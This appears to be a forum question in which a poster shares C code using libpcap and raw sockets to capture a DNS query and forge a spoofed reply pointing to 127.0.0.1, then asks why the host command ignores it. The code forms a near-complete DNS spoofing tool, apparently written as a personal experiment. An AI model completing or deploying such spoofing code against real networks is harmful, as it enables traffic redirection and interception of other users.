title: Can't delude host command with DNS spoofing
body: <p>I recently discover the raw sockets and I currently trying to capture a DNS packet (with the libcap library) sent with the host command and to reply to it before the DNS server with a wrong address. Unfortunately, it doesn't seem to work... I can see my packet with tcpdump but it is not pass to the host command. Here is the code I use for my test :</p>
  
  <pre><code>#include &lt;arpa/inet.h&gt;
  #include &lt;netpacket/packet.h&gt;
  #include &lt;net/ethernet.h&gt;
  #include &lt;net/if.h&gt;
  
  #include &lt;sys/socket.h&gt;
  #include &lt;sys/types.h&gt;
  #include &lt;linux/if_ether.h&gt;
  #include &lt;linux/ip.h&gt;
  #include &lt;linux/tcp.h&gt;
  #include &lt;linux/udp.h&gt;
  
  typedef unsigned int u_int;
  typedef unsigned short u_short;
  typedef unsigned char u_char;
  
  #include &lt;pcap/pcap.h&gt;
  #include &lt;stdint.h&gt;
  #include &lt;stdio.h&gt;
  #include &lt;stdlib.h&gt;
  #include &lt;string.h&gt;
  #include &lt;unistd.h&gt;
  
  struct dnshdr {
      uint16_t id;
      uint16_t flags;
      uint16_t nquestion;
      uint16_t nanswer;
      uint16_t nauthority;
      uint16_t nadditional;
  };
  
  struct msg {
      struct ethhdr eth;
      struct iphdr ip;
      struct udphdr udp;
      struct dnshdr dns;
      unsigned char * data;
      size_t dlen;
  };
  
  static void msg_init(uint8_t *, struct pcap_pkthdr const *, uint8_t const *);
  static void msg_to_pkt(struct msg *, unsigned char *);
  static uint16_t msg_len(struct msg *);
  static struct msg * msg_cap(void);
  
  
  static void
  msg_init(uint8_t * msg, struct pcap_pkthdr const * h, uint8_t const * bytes)
  {
      struct msg * self;
      size_t offset;
  
      self = (struct msg *)msg;
      offset = 0;
      memcpy(&amp;self-&gt;eth, bytes + offset, sizeof self-&gt;eth);
      offset += sizeof self-&gt;eth;
      memcpy(&amp;self-&gt;ip, bytes + offset, sizeof self-&gt;ip);
      offset += self-&gt;ip.ihl * 4;
      memcpy(&amp;self-&gt;udp, bytes + offset, sizeof self-&gt;udp);
      offset += sizeof self-&gt;udp;
      memcpy(&amp;self-&gt;dns, bytes + offset, sizeof self-&gt;dns);
      offset += sizeof self-&gt;dns;
      self-&gt;dlen = h-&gt;len - offset;
      self-&gt;data = malloc(self-&gt;dlen);
      if (self-&gt;data == NULL) {
          perror("malloc");
          free(self);
          exit(EXIT_FAILURE);
      }
      memcpy(self-&gt;data, bytes + offset, self-&gt;dlen); 
  }
  
  
  static void
  msg_to_pkt(struct msg * self, unsigned char * pkt)
  {
      memcpy(pkt, &amp;self-&gt;eth, sizeof self-&gt;eth);
      pkt += sizeof self-&gt;eth;
      memcpy(pkt, &amp;self-&gt;ip, sizeof self-&gt;ip);
      pkt += sizeof self-&gt;ip;
      memcpy(pkt, &amp;self-&gt;udp, sizeof self-&gt;udp);
      pkt += sizeof self-&gt;udp;
      memcpy(pkt, &amp;self-&gt;dns, sizeof self-&gt;dns);
      pkt += sizeof self-&gt;dns;
      memcpy(pkt, self-&gt;data, self-&gt;dlen);
  }
  
  
  static uint16_t
  msg_len(struct msg * self)
  {
      uint16_t len;
  
      len = 0;
      len += sizeof self-&gt;eth;
      len += sizeof self-&gt;ip;
      len += sizeof self-&gt;udp;
      len += sizeof self-&gt;dns;
      len += self-&gt;dlen;
      return len;
  }
  
  
  static struct msg *
  msg_cap(void)
  {
      struct bpf_program filter;
      pcap_t * p;
      void * msg;
      char errbuf[PCAP_ERRBUF_SIZE];
  
      p = pcap_create("eth0", errbuf);
      if (p == NULL) {
          pcap_perror(p, "pcap_create");
          return NULL;
      }
      if (pcap_activate(p) &lt; 0) {
          pcap_perror(p, "pcap_activate");
          return NULL;
      }
      if (pcap_compile(p, &amp;filter, "dst port 53 and udp", 1,
      PCAP_NETMASK_UNKNOWN) &lt; 0) {
          pcap_perror(p, "pcap_compile");
          return NULL;
      }
      if (pcap_setfilter(p, &amp;filter) &lt; 0) {
          pcap_perror(p, "pcap_setfilter");
          return NULL;
      }
      msg = malloc(sizeof (struct msg));
      if (msg == NULL) {
          perror("malloc");
          return NULL;
      }
      if (pcap_loop(p, 1, &amp;msg_init, msg) &lt; 0) {
          pcap_perror(p, "pcap_loop");
          free(msg);
          return NULL;
      }
      return msg;
  }
  
  
  uint16_t
  cksum(void const * buf, size_t nbytes)
  {
      uint32_t cs = 0;
      uint16_t const * p;
  
      p = buf;
      while (nbytes &gt; 1) {
          cs += *p++;
          nbytes -= 2;
      }
      if (nbytes == 1) {
          cs += *(uint8_t *)p;
      }
      while ((cs &gt;&gt; 16) != 0) {
          cs = (cs &amp; 0xFFFF) + (cs &gt;&gt; 16);
      }
      return ~(uint16_t)cs;
  }
  
  
  int
  main(void)
  {
      struct msg * msg;
      struct sockaddr_ll sll;
      char resp[] = "\xc0\x0c\0\1\0\1\0\0\x02\x65\0\4\x7f\0\0\1";
      char ethaddr[ETH_ALEN];
      unsigned char * tmp;
      size_t const rlen = sizeof resp - 1;
      size_t mlen;
      uint32_t ipaddr;
      uint16_t port;
      int s;
  
      s = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
      if (s &lt; 0) {
          perror("socket");
          return EXIT_FAILURE;
      }
      msg = msg_cap();
      if (msg == NULL) {
          return EXIT_FAILURE;
      }
  
      /* add DNS response */
      tmp = malloc(msg-&gt;dlen + rlen);
      if (tmp == NULL) {
          perror("malloc");
          return EXIT_FAILURE;
      }
      memcpy(tmp, msg-&gt;data, msg-&gt;dlen);
      memcpy(tmp + msg-&gt;dlen, resp, rlen);
      free(msg-&gt;data);
      msg-&gt;data = tmp;
      msg-&gt;dlen += rlen;
      mlen = msg_len(msg);
  
      /* reverse Ethernet address */
      memcpy(ethaddr, msg-&gt;eth.h_dest, ETH_ALEN);
      memcpy(msg-&gt;eth.h_dest, msg-&gt;eth.h_source, ETH_ALEN);
      memcpy(msg-&gt;eth.h_source, ethaddr, ETH_ALEN);
  
      /* reverse IP address and change some fields */
      ipaddr = msg-&gt;ip.daddr;
      msg-&gt;ip.daddr = msg-&gt;ip.saddr;
      msg-&gt;ip.saddr = ipaddr;
      msg-&gt;ip.tos = 0;
      msg-&gt;ip.ttl = 53;
      msg-&gt;ip.id = htons(9999);
      msg-&gt;ip.tot_len = htons(mlen - sizeof msg-&gt;eth);
      msg-&gt;ip.check = 0;
      msg-&gt;ip.check = cksum(&amp;msg-&gt;ip, sizeof msg-&gt;ip);
  
      /* reverse UDP ports and change some fields */
      port = msg-&gt;udp.dest;
      msg-&gt;udp.dest = msg-&gt;udp.source;
      msg-&gt;udp.source = port;
      msg-&gt;udp.len = htons(mlen - sizeof msg-&gt;eth - sizeof msg-&gt;ip);
      msg-&gt;udp.check = 0;
  
      /* change DNS flags and nanswer fields */
      msg-&gt;dns.flags = htons(0x8180);
      msg-&gt;dns.nanswer = htons(1);
  
      /* alloc buffer and send the packet */
      tmp = malloc(mlen);
      if (tmp == NULL) {
          perror("malloc");
          return EXIT_FAILURE;
      }
      msg_to_pkt(msg, tmp);
      sll.sll_family = AF_PACKET;
      sll.sll_protocol = htons(ETH_P_IP);
      sll.sll_ifindex = if_nametoindex("eth0");
      sll.sll_hatype = 1;
      sll.sll_pkttype = PACKET_HOST;
      sll.sll_halen = ETH_ALEN;
      memcpy(&amp;sll.sll_addr, msg-&gt;eth.h_dest, ETH_ALEN);
      if (sendto(s, tmp, mlen, 0, (struct sockaddr *)&amp;sll, sizeof sll) &lt; 0) {
          perror("sendto");
          return EXIT_FAILURE;
      }
      close(s);
      return 0;
  }
  </code></pre>
  
  <p>Is there something wrong in it ?</p>